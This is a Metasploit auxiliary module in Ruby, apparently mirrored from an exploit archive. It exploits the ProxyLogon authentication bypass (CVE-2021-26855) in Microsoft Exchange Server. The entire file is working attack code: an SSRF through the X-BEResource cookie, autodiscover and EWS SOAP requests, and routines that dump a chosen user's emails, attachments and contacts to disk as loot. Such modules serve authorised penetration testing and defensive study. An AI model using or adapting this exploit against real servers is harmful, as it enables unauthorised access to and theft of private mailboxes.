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## https://sploitus.com/exploit?id=PACKETSTORM:180640
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# begin auxiliary class
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Exchange ProxyLogon Collector',
'Description' => %q{
This module exploit a vulnerability on Microsoft Exchange Server that
allows an attacker bypassing the authentication and impersonating as the
admin (CVE-2021-26855).
By taking advantage of this vulnerability, it is possible to dump all
mailboxes (emails, attachments, contacts, ...).
This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,
Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).
All components are vulnerable by default.
},
'Author' => [
'Orange Tsai', # Discovery (Officially acknowledged by MSRC)
'GreyOrder', # PoC (https://github.com/GreyOrder)
'mekhalleh (RAMELLA Sébastien)' # Module author independent researcher (work at Zeop Entreprise)
],
'References' => [
['CVE', '2021-26855'],
['LOGO', 'https://proxylogon.com/images/logo.jpg'],
['URL', 'https://proxylogon.com/'],
['URL', 'https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/'],
['URL', 'https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/distinguishedfolderid'],
['URL', 'https://github.com/3gstudent/Homework-of-Python/blob/master/ewsManage.py']
],
'DisclosureDate' => '2021-03-02',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Actions' => [
[
'Dump (Contacts)', {
'Description' => 'Dump user contacts from exchange server',
'id_attribute' => 'contacts'
}
],
[
'Dump (Emails)', {
'Description' => 'Dump user emails from exchange server'
}
]
],
'DefaultAction' => 'Dump (Emails)',
'Notes' => {
'AKA' => ['ProxyLogon'],
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptBool.new('ATTACHMENTS', [true, 'Dump documents attached to an email', true]),
OptString.new('EMAIL', [true, 'The email account what you want dump']),
OptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']),
OptEnum.new('METHOD', [true, 'HTTP Method to use for the check (only).', 'POST', ['GET', 'POST']]),
OptString.new('TARGET', [false, 'Force the name of the internal Exchange server targeted'])
])
register_advanced_options([
OptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 2147483647])
])
end
XMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze
def dump_contacts(server_name)
ssrf = "#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}"
response = send_xml('POST', ssrf, soap_countitems(action['id_attribute']))
if response.body =~ /Success/
print_good("Successfully connected to: #{action['id_attribute']}")
xml = Nokogiri::XML.parse(response.body)
folder_id = xml.at_xpath('//t:ContactsFolder/t:FolderId', XMLNS)&.values&.at(0)
print_status("Selected folder: #{action['id_attribute']} (#{folder_id})")
total_count = xml.at_xpath('//t:ContactsFolder/t:TotalCount', XMLNS)&.content
print_status("Number of contact found: #{total_count}")
if total_count.to_i > datastore['MaxEntries']
print_warning("Number of contact recalculated due to max entries: #{datastore['MaxEntries']}")
total_count = datastore['MaxEntries'].to_s
end
response = send_xml('POST', ssrf, soap_listitems(action['id_attribute'], total_count))
xml = Nokogiri::XML.parse(response.body)
print_status(message("Processing dump of #{total_count} items"))
data = xml.xpath('//t:Items/t:Contact', XMLNS)
if data.empty?
print_status('The user has no contacts')
else
write_loot("#{datastore['EMAIL']}_#{action['id_attribute']}", data.to_s)
end
end
end
def dump_emails(server_name)
ssrf = "#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}"
response = send_xml('POST', ssrf, soap_countitems(datastore['FOLDER']))
if response.body =~ /Success/
print_good("Successfully connected to: #{datastore['FOLDER']}")
xml = Nokogiri::XML.parse(response.body)
folder_id = xml.at_xpath('//t:Folder/t:FolderId', XMLNS)&.values&.at(0)
print_status("Selected folder: #{datastore['FOLDER']} (#{folder_id})")
total_count = xml.at_xpath('//t:Folder/t:TotalCount', XMLNS)&.content
print_status("Number of email found: #{total_count}")
if total_count.to_i > datastore['MaxEntries']
print_warning("Number of email recalculated due to max entries: #{datastore['MaxEntries']}")
total_count = datastore['MaxEntries'].to_s
end
print_status(message("Processing dump of #{total_count} items"))
download_items(total_count, ssrf)
end
end
def download_attachments(item_id, ssrf)
response = send_xml('POST', ssrf, soap_listattachments(item_id))
xml = Nokogiri::XML.parse(response.body)
xml.xpath('//t:Message/t:Attachments/t:FileAttachment', XMLNS).each do |item|
item_id = item.at_xpath('./t:AttachmentId', XMLNS)&.values&.at(0)
response = send_xml('POST', ssrf, soap_downattachment(item_id))
data = Nokogiri::XML.parse(response.body)
filename = data.at_xpath('//t:FileAttachment/t:Name', XMLNS)&.content
ctype = data.at_xpath('//t:FileAttachment/t:ContentType', XMLNS)&.content
content = data.at_xpath('//t:FileAttachment/t:Content', XMLNS)&.content
print_status(" -> attachment: #{item_id} (#{filename})")
write_loot("#{datastore['EMAIL']}_#{datastore['FOLDER']}", Rex::Text.decode_base64(content), filename, ctype)
end
end
def download_items(total_count, ssrf)
response = send_xml('POST', ssrf, soap_listitems(datastore['FOLDER'], total_count))
xml = Nokogiri::XML.parse(response.body)
xml.xpath('//t:Items/t:Message', XMLNS).each do |item|
item_info = item.at_xpath('./t:ItemId', XMLNS)&.values
next if item_info.nil?
print_status("Download item: #{item_info[1]}")
response = send_xml('POST', ssrf, soap_downitem(item_info[0], item_info[1]))
data = Nokogiri::XML.parse(response.body)
email = data.at_xpath('//t:Message/t:MimeContent', XMLNS)&.content
write_loot("#{datastore['EMAIL']}_#{datastore['FOLDER']}", Rex::Text.decode_base64(email))
attachments = item.at_xpath('./t:HasAttachments', XMLNS)&.content
if datastore['ATTACHMENTS'] && attachments == 'true'
download_attachments(item_info[0], ssrf)
end
print_status
end
end
def message(msg)
"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
end
def random_ssrf_id
# https://en.wikipedia.org/wiki/2,147,483,647 (lol)
# max. 2147483647
rand(1941962752..2147483647)
end
def request_autodiscover(server_name)
xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }
response = send_xml('POST', "#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}", soap_autodiscover)
case response.body
when %r{<ErrorCode>500</ErrorCode>}
fail_with(Failure::NotFound, 'No Autodiscover information was found')
when %r{<Action>redirectAddr</Action>}
fail_with(Failure::NotFound, 'No email address was found')
end
xml = Nokogiri::XML.parse(response.body)
legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content
fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.blank?
server = ''
owa_urls = []
xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|
type = item.at_xpath('./xmlns:Type', xmlns)&.content
if type == 'EXCH'
server = item.at_xpath('./xmlns:Server', xmlns)&.content
end
next unless type == 'WEB'
item.xpath('./xmlns:Internal/xmlns:OWAUrl', xmlns).each do |owa_url|
owa_urls << owa_url.content
end
end
fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?
fail_with(Failure::NotFound, 'No \'OWAUrl\' was found') if owa_urls.empty?
return([server, legacy_dn, owa_urls])
end
def send_http(method, ssrf, data: '', ctype: 'application/x-www-form-urlencoded')
request = {
'method' => method,
'uri' => @random_uri,
'cookie' => "X-BEResource=#{ssrf};",
'ctype' => ctype
}
request = request.merge({ 'data' => data }) unless data.empty?
received = send_request_cgi(request)
fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received
received
end
def send_xml(method, ssrf, data, ctype: 'text/xml; charset=utf-8')
send_http(method, ssrf, data: data, ctype: ctype)
end
def soap_autodiscover
<<~SOAP
<?xml version="1.0" encoding="utf-8"?>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>#{datastore['EMAIL']}</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
SOAP
end
def soap_countitems(folder_id)
<<~SOAP
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>Default</t:BaseShape>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="#{folder_id}">
<t:Mailbox>
<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>
SOAP
end
def soap_listattachments(item_id)
<<~SOAP
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetItem>
<m:ItemShape>
<t:BaseShape>IdOnly</t:BaseShape>
<t:AdditionalProperties>
<t:FieldURI FieldURI="item:Attachments" />
</t:AdditionalProperties>
</m:ItemShape>
<m:ItemIds>
<t:ItemId Id="#{item_id}" />
</m:ItemIds>
</m:GetItem>
</soap:Body>
</soap:Envelope>
SOAP
end
def soap_listitems(folder_id, max_entries)
<<~SOAP
<?xml version='1.0' encoding='utf-8'?>
<soap:Envelope
xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
<soap:Body>
<m:FindItem Traversal='Shallow'>
<m:ItemShape>
<t:BaseShape>AllProperties</t:BaseShape>
</m:ItemShape>
<m:IndexedPageItemView MaxEntriesReturned="#{max_entries}" Offset="0" BasePoint="Beginning" />
<m:ParentFolderIds>
<t:DistinguishedFolderId Id='#{folder_id}'>
<t:Mailbox>
<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:ParentFolderIds>
</m:FindItem>
</soap:Body>
</soap:Envelope>
SOAP
end
def soap_downattachment(item_id)
<<~SOAP
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetAttachment>
<m:AttachmentIds>
<t:AttachmentId Id="#{item_id}" />
</m:AttachmentIds>
</m:GetAttachment>
</soap:Body>
</soap:Envelope>
SOAP
end
def soap_downitem(id, change_key)
<<~SOAP
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetItem>
<m:ItemShape>
<t:BaseShape>IdOnly</t:BaseShape>
<t:IncludeMimeContent>true</t:IncludeMimeContent>
</m:ItemShape>
<m:ItemIds>
<t:ItemId Id="#{id}" ChangeKey="#{change_key}" />
</m:ItemIds>
</m:GetItem>
</soap:Body>
</soap:Envelope>
SOAP
end
def write_loot(type, data, name = '', ctype = 'text/plain')
loot_path = store_loot(type, ctype, datastore['RHOSTS'], data, name, '')
print_good("File saved to #{loot_path}")
end
def run
@proto = (ssl ? 'https' : 'http')
@random_uri = normalize_uri('ecp', "#{Rex::Text.rand_text_alpha(1..3)}.js")
print_status(message('Attempt to exploit for CVE-2021-26855'))
# request for internal server name.
response = send_http(datastore['METHOD'], "localhost~#{random_ssrf_id}")
if response.code != 500 || !response.headers.to_s.include?('X-FEServer')
fail_with(Failure::NotFound, 'No \'X-FEServer\' was found')
end
server_name = response.headers['X-FEServer']
print_status("Internal server name (#{server_name})")
# get information by autodiscover request.
print_status(message('Sending autodiscover request'))
server_id, legacy_dn, owa_urls = request_autodiscover(server_name)
print_status("Server: #{server_id}")
print_status("LegacyDN: #{legacy_dn}")
print_status("Internal target(s): #{owa_urls.join(', ')}")
# selecting target
print_status(message('Selecting the first internal server to respond'))
if datastore['TARGET'].nil? || datastore['TARGET'].empty?
target = ''
owa_urls.each do |url|
host = url.split('://')[1].split('.')[0].downcase
next unless host != server_name.downcase
response = send_http('GET', "#{host}/EWS/Exchange.asmx?a=~#{random_ssrf_id}")
next unless response.code == 200
target = host
print_good("Targeting internal: #{url}")
break
end
fail_with(Failure::NotFound, 'No internal target was found') if target.empty?
else
target = datastore['TARGET']
print_good("Targeting internal forced to: #{target}")
end
# run action
case action.name
when /Dump \(Contacts\)/
print_status(message("Attempt to dump contacts for <#{datastore['EMAIL']}>"))
dump_contacts(target)
when /Dump \(Emails\)/
print_status(message("Attempt to dump emails for <#{datastore['EMAIL']}>"))
dump_emails(target)
end
end
end